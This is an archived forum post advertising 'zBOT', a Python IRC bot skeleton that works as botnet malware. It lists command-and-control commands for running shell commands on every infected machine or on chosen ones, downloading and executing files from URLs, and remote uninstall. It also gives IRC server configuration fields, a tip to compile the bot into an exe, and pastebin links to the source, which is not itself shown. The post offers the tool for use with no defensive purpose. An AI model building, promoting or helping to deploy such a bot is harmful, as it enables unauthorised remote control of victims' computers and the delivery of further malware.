PDA

View Full Version : zBOT IRC BOT



Server_CM
12-05-2014, 09:49 AM
A python IRC bot skeleton, very stable and clean.


- .cmd all ***91;CMD***93; Execute ***91;CMD***93; on all machines,
- .cmd ***91;KEY***93; ***91;CMD***93; Execute ***91;CMD***93; on ***91;KEY***93; machine.
- .dl all ***91;URL***93; Download ***91;URL***93; and execute file,
- .dl ***91;KEY***93; ***91;URL***93; Download ***91;URL***93; and execute a file on ***91;KEY***93; machine.
- .info Information about the bot.
- .kill ***91;KEY***93; Uninstall the bot on ***91;KEY***93; machine.
- .nuke Uninstall the bot.


USAGE
Edit the "zbot.py" file and edit your config. The following is in the config :


ircs: IRC Server.
- ircp: IRC Port.
- ircc: IRC Channel.
- ircs_backup: Backup IRC Server.
- ircp_backup: Backup IRC Port.
- ircc_backup: Backup IRC Channel.
- version: zBot Version.


You can use "setup.py" to compile the bot into an exe file, but you must download and install FrontPage - py2exe.org (http://www.py2exe.org/)

SOURCE CODE
zbot.py :- [Python] zBOT Python IRC Bot (zbot.py) - Pastebin.com (http://pastebin.com/kbstVXXC)

setup.py :- [Python] zBOT Python IRC Bot (Setup.py) - Pastebin.com (http://pastebin.com/zEcjRvWm)